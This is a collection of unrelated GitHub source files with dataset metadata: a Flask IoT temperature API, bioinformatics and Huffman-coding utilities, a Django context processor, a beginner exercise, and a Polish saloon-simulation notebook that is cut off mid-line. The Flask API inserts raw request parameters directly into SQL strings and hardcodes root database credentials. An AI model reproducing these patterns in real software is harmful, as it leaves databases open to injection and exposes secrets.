    '\n\n\n@app.route('/temperature', methods=['GET']) # df2 = df[\"Fee\"].mean()\ndef calculate():\n if 'key' in request.args:\n if str(request.args['key']) == apiKey:\n if 'act' in request.args:\n\n if str(request.args['act']) == 'avg':\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n if 'from' in request.args:\n if 'to' in request.args:\n sql = f'select * from {db_name} where time_stamp between {str(request.args[\"from\"])} and {str(request.args[\"to\"])}'\n else:\n return 'Missing TO'\n else: \n sql = f\"SELECT * FROM {db_name}\"\n cursor.execute(sql)\n df = pd.read_sql(sql, connection)\n print(df)\n df2 = df[\"temp\"].mean()\n avg_value = str(df2)\n connection.close()\n return f'average value of Temp : {avg_value}'\n \n if str(request.args['act']) == 'min':\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n if 'from' in request.args:\n if 'to' in request.args:\n sql = f'select min(temp), time_stamp, humid from {db_name} where time_stamp between {str(request.args[\"from\"])} and {str(request.args[\"to\"])}'\n else:\n return 'Missing TO'\n else: \n sql = f\"SELECT min(temp), time_stamp, humid FROM {db_name}\"\n result = cursor.execute(sql)\n connection.commit()\n r = []\n for row in cursor:\n r.append(row)\n '''\n df = pd.read_sql(sql, connection)\n column = df[\"temp\"]\n index = df['temp'].idxmin()\n min_value = str([index+1, column.min()]) '''\n connection.close()\n return str(r)\n \n if str(request.args['act']) == 'max':\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n if 'from' in request.args:\n if 'to' in request.args:\n sql = f'select max(temp), time_stamp, humid from {db_name} where time_stamp between {str(request.args[\"from\"])} and {str(request.args[\"to\"])}'\n else:\n return 'Missing TO'\n else: \n sql = f\"SELECT max(temp), time_stamp, humid FROM {db_name}\"\n \n result = cursor.execute(sql)\n connection.commit()\n r = []\n for row in cursor:\n r.append(row)\n '''\n df = pd.read_sql(sql, connection)\n column = df[\"temp\"]\n timeStamp = df['time_stamp']\n index = df['temp'].idxmax()\n max_value = str([index+1, column.max()]) '''\n connection.close()\n return str(r)\n \n if str(request.args['act']) == 'save2file':\n csv_file_path = f'/tmp/temp_data_{time.time()}.csv'\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n if 'from' in request.args:\n if 'to' in request.args:\n sql = f'select * from {db_name} where time_stamp between {str(request.args[\"from\"])} and {str(request.args[\"to\"])}'\n else:\n return 'Missing TO'\n else: \n sql = f\"SELECT * FROM {db_name}\"\n cursor.execute(sql)\n df = pd.read_sql(sql, connection)\n #print(df)\n #data = '[{x:1, y:1}, {x:5, y:2}, {x:10, y:3}]'\n df.to_csv(csv_file_path, sep=',', encoding='utf-8',index=False) \n file_obj =csv_file_path\n connection.close()\n return send_file(file_obj, mimetype=\"text/csv\", attachment_filename=csv_file_path, )\n \n if str(request.args['act']) == 'count':\n r=[]\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n sql = f\"SELECT count(*) FROM {db_name} ;\"\n result = cursor.execute(sql)\n connection.commit()\n for row in cursor:\n r.append(row)\n connection.close()\n return str(r)\n \n if str(request.args['act']) == 'read':\n r=[]\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n if 'day' in request.args:\n days = request.args[\"day\"]\n timeStampTo = int(time.time())\n timeStampFrom = int(timeStampTo)-(86413*int(days))\n sql = f'select time_stamp, temp, humid from {db_name} where time_stamp between {str(timeStampFrom)} and {str(timeStampTo)} ORDER BY ID DESC ;'\n else:\n sql = f\"SELECT * FROM {db_name} ORDER BY ID DESC LIMIT 1 ;\"\n print(sql)\n result = cursor.execute(sql)\n connection.commit()\n for row in cursor:\n r.append(f'
    {row}')\n connection.close() \n return str(r)\n\n if str(request.args['act']) == 'readall':\n r=[]\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n if 'from' in request.args:\n if 'to' in request.args:\n sql = f'select * from {db_name} where time_stamp between {str(request.args[\"from\"])} and {str(request.args[\"to\"])}'\n else:\n return 'Missing TO'\n else:\n sql = f\"SELECT * FROM {db_name} ;\"\n result = cursor.execute(sql)\n connection.commit()\n for row in cursor:\n r.append(f'{row}
    ')\n connection.close()\n return str(r)\n \n if str(request.args['act']) == 'chart':\n timeLine = []\n tData = []\n hData = []\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n if 'day' in request.args:\n days = request.args[\"day\"]\n timeStampTo = int(time.time())\n timeStampFrom = int(timeStampTo)-(86413*int(days))\n sql = f'select time_stamp, temp, humid from {db_name} where time_stamp between {str(timeStampFrom)} and {str(timeStampTo)}'\n else:\n if 'from' in request.args:\n if 'to' in request.args:\n timeStampFrom =str(request.args[\"from\"])\n timeStampTo = str(request.args[\"to\"])\n sql = f'select time_stamp, temp, humid from {db_name} where time_stamp between {str(request.args[\"from\"])} and {str(request.args[\"to\"])}'\n max_x =str(request.args[\"from\"])\n min_x = str(request.args[\"to\"])\n else:\n return 'Missing [TO]'\n else:\n sql = f\"SELECT temp, time_stamp, humid FROM {db_name} ;\"\n print(sql)\n result = cursor.execute(sql)\n rows = cursor.fetchall()\n for row in rows:\n # add a check, if temp is not bigger or smaller that 25% of AVG, else remove\n timeLine.append(row[\"time_stamp\"])\n tData.append(row['temp'])\n hData.append(row['humid'])\n \n df = pd.read_sql(sql, connection)\n timeStampFrom = int(df['time_stamp'].min())\n timeStampTo = int(df['time_stamp'].max())\n print(f' timeStampFrom => {timeStampFrom}, timeStampTo => {timeStampTo}')\n cold = df['temp'].min()\n hot = df['temp'].max()\n \n sql = f\"SELECT humid, temp FROM {db_name} ORDER BY ID DESC LIMIT 1 ;\"\n result = cursor.execute(sql)\n connection.commit()\n for row in cursor:\n currentHumid = str((row['humid']))\n currentTemp = str((row['temp']))\n connection.close()\n\n return render_template(chart_template, members=timeLine, temp_values=tData, \\\n humid_values=hData, max_x=timeStampTo, min_x=timeStampFrom,\\\n min_y=str(cold), max_y=str(hot), sTime=str(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(timeStampFrom)))), \\\n eTime=time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(timeStampTo))), currentT=str(currentTemp), \\\n currentH=str(currentHumid), currentTime=time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(time.time()))))\n \n if str(request.args['act']) == 'write':\n if 'timeStamp' in request.args:\n timeStamp = str(request.args['timeStamp'])\n if 'temp' in request.args:\n temp = str(request.args['temp'])\n if 'humid' in request.args:\n humid = str(request.args['humid'])\n connection = connect(host='172.17.0.3', user='root', password='pass2014', db='temprature', cursorclass=cursors.DictCursor)\n with connection.cursor() as cursor:\n sql = \"INSERT INTO {} (temp, time_stamp, humid) VALUES (\\'{}\\', \\'{}\\', \\'{}\\')\".format(db_name, temp, timeStamp, humid)\n cursor.execute(sql)\n connection.commit()\n connection.close()\n return 'Saved to DB'\n else:\n return 'Missing Action'\n else:\n return 'Missing Key'\n\napp.run(host='0.0.0.0', port=port)\n# app.run(host='0.0.0.0', port='8094')\nc\n","repo_name":"guy111a/ioT_restAPI","sub_path":"tempAPI_2.py","file_name":"tempAPI_2.py","file_ext":"py","file_size_in_byte":13573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27548791116","text":"#!/usr/bin/env python\n\"\"\"\nSome tools save files in BED tabular format but erroneously use 1-based\nindexing, instead of the prescribed 0-based indexing. This tool merely reads\nthe file, subtracts one from the interval start location, and saves to a new\nfile.\n\"\"\"\nimport argparse\n\nimport pybedtools as bt\n\n\ndef is_insertion(ival):\n \"\"\"Determine whether an interval represents an insertion variant.\n\n Parameters\n ----------\n ival : Interval object\n The interval being evaluated.\n\n Returns\n -------\n is_ins : bool\n ``True`` if `ival` represents an insertion.\n\n Notes\n -----\n This function assumes a FAVR formatted file, with variant type noted\n in the 18th column (0-indexed).\n \"\"\"\n is_ins = ival.fields[18].endswith('insertion')\n return is_ins\n\n\ndef start_subtract_one(ival):\n \"\"\"Subtract 1 to the start of an Interval, unless it is an insertion.\n\n Parameters\n ----------\n ival : Interval object\n The interval to be modified.\n\n Returns\n -------\n ival0 : Interval object\n The modified interval.\n \"\"\"\n if not is_insertion(ival):\n ival.start -= 1\n return ival\n\n\ndef favr_to_zero_index(bed):\n \"\"\"Convert a one-based BedTool object to a zero-based one.\n\n Parameters\n ----------\n bed : BedTool object\n The input BED object.\n\n Returns\n -------\n bed0 : BedTool object\n The modified BED object.\n \"\"\"\n bed0 = bed.each(start_subtract_one)\n return bed0\n\n\ndef main():\n \"\"\"Convert FAVR-indexed to BED-indexed files.\n \"\"\"\n parser = argparse.ArgumentParser(\n description='Compute coverage and other stats of BED files.')\n parser.add_argument('bed_files', nargs='+', metavar='BEDFILE',\n help='One or more BED files.')\n parser.add_argument('-s', '--suffix', default='.0.bed',\n help='Append this suffix to mark output filename.')\n args = parser.parse_args()\n for fn in args.bed_files:\n b = bt.BedTool(fn)\n b0 = favr_to_zero_index(b)\n b0.saveas(fn + args.suffix)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"jni/genome-scripts","sub_path":"bedify.py","file_name":"bedify.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4523972754","text":"import json\nclass node:\n def __init__(self, freq, symbol, left = None, right = None):\n # Frequency of symbol\n self.freq = freq\n\n # Symbol itself\n self.symbol = symbol\n\n # left node\n self.left = left\n \n # Right node\n self.right = right\n\n # Tree Direction \n self.huff = ''\n\ndict = {} # Mapping each character to its corresponding huffman codes\nreverseDict = {} # Mapping huffman codes to each corresponding charater\n\n# Recursive function to get huffman codes corresponding to each character\ndef printNodes(node, val = ''):\n newVal = val + str(node.huff)\n\n if node.left is not None:\n printNodes(node.left, newVal)\n\n if node.right is not None:\n printNodes(node.right, newVal)\n\n if node.left is None and node.right is None:\n dict[node.symbol] = newVal\n reverseDict[newVal] = node.symbol\n\n# Encoding the given string to corresponding huffman codes\ndef getEncodedText(originalText):\n encodedText = \"\"\n for i in originalText:\n encodedText = encodedText + dict[i]\n return encodedText\n\n# Adding padding at last so at to make the length of encoded string a multiple of 8\n# Also adding the length of padding aaded in front in 8-bits format only\ndef getPaddedEncodedText(encodedText):\n extra_padding = 8 - len(encodedText) % 8\n for i in range(0, extra_padding):\n encodedText += \"0\"\n padded_info = \"{0:08b}\".format(extra_padding)\n encodedText = padded_info + encodedText\n return encodedText\n\n# Converting each set to 8-bits to its corresponding byte character\ndef getByteArray(paddedEncodedText):\n b = bytearray()\n for i in range(0, len(paddedEncodedText), 8):\n byte = paddedEncodedText[i:i+8]\n b.append(int(byte, 2))\n return b\n\n# Function called by main file providing string data to encode \n# Return decoded string and reverseDict codes\ndef encode(originalText):\n freq = {}\n originalText = originalText.rstrip()\n\n # Grenerating freq map\n for i in originalText:\n freq[i] = 0\n for i in originalText:\n freq[i] = freq[i] + 1\n\n generateHuffmanCodes(freq)\n encodedText = getEncodedText(originalText)\n paddedEncodedText = getPaddedEncodedText(encodedText)\n byteArray = getByteArray(paddedEncodedText)\n\n return reverseDict, byteArray\n\n# Function creating huffman tree and further calling printNodes to create huffman codes map\ndef generateHuffmanCodes(freq):\n nodes = []\n for i in freq:\n nodes.append(node(freq[i], i))\n while len(nodes) > 1:\n nodes = sorted(nodes, key = lambda x:x.freq)\n\n left = nodes[0]\n right = nodes[1]\n\n left.huff = 0\n right.huff = 1\n\n newNode = node(left.freq + right.freq, '#', left, right)\n\n nodes.remove(left)\n nodes.remove(right)\n nodes.append(newNode)\n \n # Huffman Tree is ready\n if(len(nodes) > 0):\n printNodes(nodes[0])\n\n# Function extracting padding length and removing it\ndef remove_padding(padded_encoded_text):\n padded_info = padded_encoded_text[:8]\n extra_padding = int(padded_info, 2)\n padded_encoded_text = padded_encoded_text[8:]\n encoded_text = padded_encoded_text[:-1*extra_padding]\n return encoded_text\n\n# Decoding to the original text from the encoded binar string and reverse mapping\ndef decode_text(encoded_text, reverse_mapping):\n current_code = \"\"\n decoded_text = \"\"\n for bit in encoded_text:\n current_code += bit\n if(current_code in reverse_mapping):\n character = reverse_mapping[current_code]\n decoded_text += character\n current_code = \"\"\n return decoded_text\n\n# Function decoding the encoded byte_string and reverse_mapping to the original text \ndef decode(byte_string, reverse_mapping):\n # Converting the byte string to the corresponding binary string\n bit_string = \"\"\n for byte in byte_string:\n bits = bin(byte)[2:].rjust(8, '0')\n bit_string += bits\n encoded_text = remove_padding(bit_string)\n decompressed_text = decode_text(encoded_text, reverse_mapping)\n return decompressed_text\n\n \n\n","repo_name":"coder-saab001/Optimised-Notepad","sub_path":"HuffmanCoding.py","file_name":"HuffmanCoding.py","file_ext":"py","file_size_in_byte":4147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5725033450","text":"from django.urls import reverse\nfrom django.conf import settings\nfrom app.models import CartItem\nfrom app.views import _get_cart_key\nfrom custom.helpers import is_member_of_admins, return_insights_script\nimport logging\n\nlogger = logging.getLogger()\n\ndef context(request):\n claims = request.identity_context_data._id_token_claims\n exclude_claims = ['iat', 'exp', 'nbf', 'uti', 'aio', 'rh']\n claims_to_display = {claim: value for claim,\n value in claims.items() if claim not in exclude_claims}\n\n logger.debug(f\"function: context, claims_to_display: {claims_to_display}\")\n\n if 'oid' in claims_to_display:\n is_admin = is_member_of_admins(\n claims_to_display['oid'], settings.AZURE_CONFIG.azure_aad_b2c_tenant)\n else:\n is_admin = False\n\n client_id = settings.AAD_CONFIG.client.client_id\n aad_link = \"https://portal.azure.com/#blade/Microsoft_AAD_RegisteredApps/ApplicationMenuBlade/Authentication/appId/\" + client_id + \"/isMSAApp/\"\n\n item_count = 0\n try:\n cart_items = CartItem.objects.filter(cart_key=_get_cart_key(request))\n if cart_items:\n for cart_item in cart_items:\n item_count += cart_item.quantity\n except CartItem.DoesNotExist:\n item_count = 0\n\n script = return_insights_script(settings.AZURE_CONFIG.azure_insights.instrumentation_key)\n\n return dict(is_admin=is_admin, item_count=item_count, claims_to_display=claims_to_display,\n redirect_uri_external_link=request.build_absolute_uri(\n reverse(settings.AAD_CONFIG.django.auth_endpoints.redirect)),\n aad_link=aad_link, insights_script=script)\n","repo_name":"awku/relativity-azure-project","sub_path":"webapp/project/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1894016325","text":"command = input()\r\n\r\nstudent_tickets = 0\r\nstandard_tickets = 0\r\nkids_tickets = 0\r\ncombine_tickets = 0\r\ntickets_sold = 0\r\ncinema_is_full = False\r\n\r\nwhile command != 'Finish':\r\n movie_name = command\r\n free_seats = int(input())\r\n total_seats = free_seats\r\n for movie in range(free_seats):\r\n ticket_type = input()\r\n if total_seats < 0 or ticket_type == 'End':\r\n cinema_is_full = True\r\n break\r\n if ticket_type == 'student':\r\n student_tickets += 1\r\n elif ticket_type == 'standard':\r\n standard_tickets += 1\r\n elif ticket_type == 'kid':\r\n kids_tickets += 1\r\n total_seats -= 1\r\n tickets_sold += 1\r\n combine_tickets = student_tickets + standard_tickets + kids_tickets\r\n hall_percentage = tickets_sold / free_seats * 100\r\n print(f\"{movie_name} - {hall_percentage:.2f}% full.\")\r\n tickets_sold = 0\r\n command = input()\r\nkids = kids_tickets / combine_tickets * 100\r\nstandard = standard_tickets / combine_tickets * 100\r\nstudent = student_tickets / combine_tickets * 100\r\nprint(f\"Total tickets: {combine_tickets}\")\r\nprint(f\"{student:.2f}% student tickets.\")\r\nprint(f\"{standard:.2f}% standard tickets.\")\r\nprint(f\"{kids:.2f}% kids tickets.\")\r\n","repo_name":"LazChu/SoftUni-projects","sub_path":"Programming Basics with Python/exams/exam 6-7 april/cinema_tickets.py","file_name":"cinema_tickets.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1195840273","text":"import numpy as np\nfrom random import shuffle, seed\nfrom time import perf_counter\n\n# Convenience funtion to get the upcoming event\ndef get_next_event(events_list):\n event_times = [x[0] for x in events_list]\n t = min(event_times)\n return event_times.index(t)\n\n\ndef model(\n time_horizon,\n bartenders, # Each bartender is represented as a list containing T/F (Female/Male)\n customer_lambda, # mins\n p_drink,\n serve_time, # mins\n flirt_time, # mins\n drink_time, # mins\n drink_price, # $\n avg_tip, # $\n patience_threshold, # mins\n pmin_queue_shootout,\n p_queue_shootout,\n p_pianist_killed,\n pianist_net_worth, # $\n shootout_loss, # $\n poker_table_size, # people\n poker_length, # mins\n p_leave,\n p_lost_everything,\n p_jackpot, # This is cumulative, including p_lost_everything\n):\n bartenders_in_simulation = [[bartender, 0] for bartender in bartenders]\n # Each bartender is represented as a list containing T/F (Female/Male) and\n # a numeric variable indicating the time when the next action is finished\n\n sheriff_entry = np.random.uniform() * time_horizon\n events = [(np.random.exponential(customer_lambda), 'Customer_choice', 'new'),\n (sheriff_entry, 'Sheriff_entry'), (sheriff_entry + 60, 'Sheriff_exit'),\n (240, 'Lambda_down')]\n revenue = 0\n customer_count = 0\n poker_table = 0\n event_history = []\n clock = (0, 'start')\n sheriff_present = False\n\n # The event loop\n while clock[0] < time_horizon:\n\n # Check event type\n if clock[1] == 'Customer_choice':\n # Does he stay in the saloon?\n if (clock[2] == 'existing') & (np.random.uniform() < p_leave):\n customer_count -= 1\n else:\n if clock[2] == 'new':\n # Increase guest count\n customer_count += 1\n # Generate next customer\n events.append((clock[0] + np.random.exponential(customer_lambda),\n 'Customer_choice', 'new'))\n # Choose action\n if poker_table < poker_table_size:\n if np.random.uniform() < p_drink:\n events.append((clock[0], 'Customer_drinks'))\n else:\n poker_table += 1\n if poker_table == poker_table_size:\n events.append((clock[0] + poker_length, 'Poker_finish'))\n else:\n events.append((clock[0], 'Customer_drinks'))\n\n if clock[1] == 'Customer_drinks':\n waiting_time = np.inf\n shuffle(bartenders_in_simulation) # works inplace\n for x in bartenders_in_simulation:\n if x[1] <= clock[0]:\n # A free bartender available, customer is served\n # Potentially check whether an if or random number generation is faster here\n duration = x[0] * flirt_time * np.random.uniform() + serve_time\n x[1] = clock[0] + duration\n revenue += drink_price + np.random.gamma(shape=5, scale=avg_tip / 5) * x[0]\n events.append((clock[0] + duration + np.random.exponential(drink_time),\n 'Customer_choice', 'existing'))\n waiting_time = False\n break\n else:\n waiting_time = min(waiting_time, x[1])\n # Can we handle waiting within the same loop without creating an extra iteration?\n\n # If no bartender, wait at the bar\n if waiting_time:\n # Calculate cumulative waiting time\n try:\n time_in_queue = clock[2] + waiting_time - clock[0]\n except IndexError:\n time_in_queue = waiting_time - clock[0]\n # Determine if client gets nervous\n if time_in_queue > patience_threshold:\n if np.random.uniform() < max(pmin_queue_shootout, clock[0] / 600 * p_queue_shootout):\n events.append((clock[0] + patience_threshold, 'Shootout'))\n else:\n events.append((waiting_time, 'Customer_drinks', time_in_queue))\n\n elif clock[1] == 'Sheriff_entry':\n sheriff_present = True\n\n elif clock[1] == 'Sheriff_exit':\n sheriff_present = False\n\n elif clock[1] == 'Shootout':\n if not sheriff_present:\n event_history.append(clock)\n revenue -= shootout_loss * max(1, np.log(clock[0]) / np.log(420)) + (\n np.random.uniform() < p_pianist_killed) * pianist_net_worth\n return revenue, event_history\n # Decide on scenario handling here\n\n elif clock[1] == 'Poker_finish':\n outcome = np.random.uniform()\n if outcome < p_lost_everything:\n # The loser starts a shootout\n events.append((clock[0], 'Shootout'))\n elif outcome < p_jackpot:\n # The winner buys everybody a round\n revenue += customer_count * drink_price\n # Some players stay, some leave, some grab a drink\n poker_table = np.random.randint(poker_table_size)\n leavers = np.random.binomial(poker_table_size - poker_table, p_leave)\n customer_count -= leavers\n if (poker_table_size - poker_table - leavers) > 0:\n events.append(\n (clock[0], 'Customer_drinks') * (poker_table_size - poker_table - leavers))\n \n elif clock[1] == 'Lambda_down':\n customer_lambda -= 5 # Avg time between new customers 5 mins shorter\n\n event_history.append(clock)\n # Get next event\n clock = events.pop(get_next_event(events))\n\n return revenue, event_history\n\n\ndef run_simulation(\n n_simulations,\n time_horizon=10 * 60,\n bartenders=(False, True),\n customer_lambda=25,\n p_drink=0.9,\n serve_time=5,\n flirt_time=15,\n drink_time=35,\n drink_price=2,\n avg_tip=1,\n patience_threshold=15,\n pmin_queue_shootout=0.03,\n p_queue_shootout=0.06,\n p_pianist_killed=0.05,\n pianist_net_worth=450,\n shootout_loss=200,\n poker_table_size=5,\n poker_length=10,\n p_leave=0.1,\n p_lost_everything=0.02,\n p_jackpot=0.04,\n):\n revenues = np.zeros(n_simulations)\n event_histories = []\n for simulation_number in range(n_simulations):\n result, history = \\\n model(\n time_horizon=time_horizon,\n bartenders=bartenders,\n customer_lambda=customer_lambda,\n p_drink=p_drink,\n serve_time=serve_time,\n flirt_time=flirt_time,\n drink_time=drink_time,\n drink_price=drink_price,\n avg_tip=avg_tip,\n patience_threshold=patience_threshold,\n pmin_queue_shootout=pmin_queue_shootout,\n p_queue_shootout=p_queue_shootout,\n p_pianist_killed=p_pianist_killed,\n pianist_net_worth=pianist_net_worth,\n shootout_loss=shootout_loss,\n poker_table_size=poker_table_size,\n poker_length=poker_length,\n p_leave=p_leave,\n p_lost_everything=p_lost_everything,\n p_jackpot=p_jackpot,\n )\n revenues[simulation_number] = result\n event_histories.append(history)\n\n return revenues, event_histories\n\n\n# ## Scenariusz bazowy\n# In[]:\n\nresults_normal, _ = run_simulation(n_simulations=1000)\n\n# In[]:\n\nplot_saving_mode = True\n\n# In[]:\n\n\nprint(\"średni dochód: \" + str(results_normal.mean()))\nprint(\"odchylenie z dochodu: \" + str(results_normal.std()))\n\n\n# In[]:\n\n\nplt.figure(figsize = (8, 4))\nplt.hist(results_normal, bins=100, density = True, color = 'blue')\nplt.ylabel(\"Częstość\")\nplt.xlabel(\"Przychód [$]\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/histogram.pdf')\nelse:\n plt.show()\n\n\n# ## Liczba zatrudnionych barmanów\n# In[]:\n\n\ndef find_opt_solution(max_male, max_female, params = {'n_simulations': 200}):\n bartender_results = np.zeros((max_male+1, max_female+1))\n \n for i in tqdm.tqdm( product( np.arange(max_male+1), np.arange(max_female+1) ) ):\n # creating unique combination of male and female bartenders\n params['bartenders'] = [False] * i[0] + [True] * i[1]\n #running simulation\n results, _ = run_simulation(**params)\n #appending results\n bartender_results[i] = results.mean()\n \n path_matrix = np.zeros((max_male + 1, max_female + 1))\n optimum = 0\n diags = [bartender_results[::-1,:].diagonal(i) for i in range(1-bartender_results.shape[0], bartender_results.shape[1])]\n \n for i, x in enumerate(diags):\n i0 = min(i, path_matrix.shape[0]-1) - x.argmax()\n i1 = i-i0\n path_matrix[i0, i1] = x.max() - optimum\n optimum = x.max()\n return bartender_results, path_matrix\n\n# In[]:\n\nbartender_results, path_matrix = find_opt_solution(10, 10, {'n_simulations': 1000})\n\n# In[]:\n\n\nplt.figure(figsize = (8, 5))\nsns.heatmap(bartender_results)\nplt.ylabel(\"Liczba zatrudnionych barmanów płci męskiej\")\nplt.xlabel(\"Liczba zatrudnionych barmanów płci żeńskiej\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/barmani.pdf')\nelse:\n plt.show()\n\n# In[]:\n\n\nplt.figure(figsize = (8,5))\nsns.set(style = 'whitegrid')\nsns.heatmap(path_matrix, cmap = 'seismic_r', center = 0)\nplt.ylabel(\"Liczba zatrudnionych barmanów płci męskiej\")\nplt.xlabel(\"Liczba zatrudnionych barmanów płci żeńskiej\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/opt_sciezka.pdf')\nelse:\n plt.show()\n\n# ## Strategia cenowa\n# In[]:\n\n\nresults_expensive, _ = run_simulation(n_simulations=n_simulations, drink_price=4, patience_threshold=10)\nresults_cheap, _ = run_simulation(n_simulations=n_simulations)\nresults_super_cheap, _ = run_simulation(\n n_simulations=n_simulations,\n drink_price=1,\n patience_threshold=20,\n customer_lambda=10)\n\n\n# In[]:\n\n\nprint(\"średnia:\")\nprint(\"droższe drinki: \" + str(results_expensive.mean()))\nprint(\"tańsze drinki: \" + str(results_cheap.mean()))\nprint(\"super tanie drinki: \" + str(results_super_cheap.mean()))\n\nprint(\"\\nodchylenie:\")\nprint(\"droższe drinki: \" + str(results_expensive.std()))\nprint(\"tańsze drinki: \" + str(results_cheap.std()))\nprint(\"super tanie drinki: \" + str(results_super_cheap.std()))\n\n\n# In[]:\n\n\nplt.figure(figsize=(8, 4))\ndf_to_plot = pd.DataFrame(\n {\n \"Strategia cenowa salonu\": \n [\"normalne ceny\"] * n_simulations + \n [\"niskie ceny\"] * n_simulations + \n [\"wysokie ceny\"] * n_simulations,\n \"Przychód [$]\": np.concatenate((results_cheap, results_super_cheap, results_expensive), axis=0)\n }\n)\nax = sns.barplot(x=\"Strategia cenowa salonu\", y=\"Przychód [$]\", data=df_to_plot, ci=\"sd\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/drinki.pdf')\nelse:\n plt.show()\n\n\n# # Więlkosc stolow do pokera\n# In[]:\n\n\nresults_normal, _ = run_simulation(n_simulations=n_simulations)\nresults_1, _ = run_simulation(n_simulations=n_simulations, poker_table_size=6, poker_length=15)\nresults_2, _ = run_simulation(n_simulations=n_simulations, poker_table_size=7, poker_length=20)\nresults_3, _ = run_simulation(n_simulations=n_simulations, poker_table_size=8, poker_length=25)\n\n\n# In[]:\n\n\nplt.figure(figsize=(8,4))\ndf_to_plot = pd.DataFrame(\n {\n \"Stół do pokera\": \n [\"na 5 graczy\"] * n_simulations + [\"na 6 graczy\"] * n_simulations + [\"na 7 graczy\"] * n_simulations + [\"na 8 graczy\"] * n_simulations,\n \"Przychód [$]\": np.concatenate((results_normal, results_1, results_2, results_3), axis=0)\n }\n)\nsns.barplot(x=\"Stół do pokera\", y=\"Przychód [$]\", data=df_to_plot, ci=\"sd\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/poker.pdf')\nelse:\n plt.show()\n\n\n# In[]:\n\n\nprint(\"średni przychód normal: \" + str(results_normal.mean()))\nprint(\"średni przychód 1: \" + str(results_1.mean()))\nprint(\"średni przychód 2: \" + str(results_2.mean()))\nprint(\"średni przychód 3: \" + str(results_3.mean()))\n\nprint(\"odchylenie normal: \" + str(results_normal.std()))\nprint(\"odchylenie przychód 1: \" + str(results_1.std()))\nprint(\"odchylenie przychód 2: \" + str(results_2.std()))\nprint(\"odchylenie przychód 3: \" + str(results_3.std()))\n\n\n\n\n\n\n\n\n# # Analiza wrażliwości\n\n# ## Zatrudnianie ładniejszych kelnerek\n\n# In[]:\n\nn_simulations = 1000\nbartenders_opt = [True, True, True]\n\n# In[]:\n\nresults_normal, _ = run_simulation(n_simulations=n_simulations,\n bartenders = bartenders_opt)\nresults_beautiful, _ = run_simulation(n_simulations=n_simulations,\n bartenders = bartenders_opt,\n flirt_time=25,\n avg_tip=5)\n\n\n# In[]:\n\nplt.figure(figsize=(8,4))\ndf_to_plot = pd.DataFrame(\n {\n \"Personel\": \n [\"ładny\"] * n_simulations + [\"ładniejszy\"] * n_simulations,\n \"Przychód [$]\": np.concatenate((results_normal, results_beautiful), axis=0)\n }\n)\nax = sns.barplot(x=\"Personel\", y=\"Przychód [$]\", data=df_to_plot, ci=\"sd\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/personel.pdf')\nelse:\n plt.show()\n\n\n# In[]:\n\n\nprint(\"średni przychód ładna: \" + str(results_normal.mean()))\nprint(\"średni przychód ładniejsza: \" + str(results_beautiful.mean()))\n\nprint(\"odchylenie ładna: \" + str(results_normal.std()))\nprint(\"odchylenie ładniejsza: \" + str(results_beautiful.std()))\n\n# In[ ]:\n\nbartender_results_pretty, path_matrix_pretty = find_opt_solution(10, 10, {'n_simulations': n_simulations,\n 'flirt_time':25, 'avg_tip':5})\n\n\n# In[ ]:\n\nplt.figure(figsize = (8, 5))\nsns.heatmap(bartender_results)\nplt.ylabel(\"Liczba zatrudnionych barmanów płci męskiej\")\nplt.xlabel(\"Liczba zatrudnionych barmanów płci żeńskiej\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/barmani_ladni.pdf')\nelse:\n plt.show()\n\n# In[ ]:\n\nplt.figure(figsize = (8,5))\nsns.heatmap(path_matrix, cmap = 'seismic_r', center = 0)\nplt.ylabel(\"Liczba zatrudnionych barmanów płci męskiej\")\nplt.xlabel(\"Liczba zatrudnionych barmanów płci żeńskiej\")\nif plot_saving_mode:\n plt.savefig('raport/wykresy/opt_sciezka_ladni.pdf')\nelse:\n plt.show()\n\n# ## Próg cierpliwosci klientow\n# In[]:\n\n\npatience_results = np.zeros(11)\npatience_std = np.zeros(11)\n\nfor patience in tqdm.tqdm(range(len(patience_results))):\n results, _ = run_simulation(n_simulations=int(n_simulations), patience_threshold=patience)\n patience_results[patience] = results.mean()\n patience_std[patience] = results.std()\n\n\n# In[]:\n\n\nplt.figure(figsize = (8,4))\nplt.fill_between(np.arange(0, 11), y1 = patience_results - patience_std,\n y2 = patience_results + patience_std,\n alpha = 0.3)\nplt.plot(patience_results)\nplt.hlines(y = 0, xmin = 0, xmax = 10, linestyle = 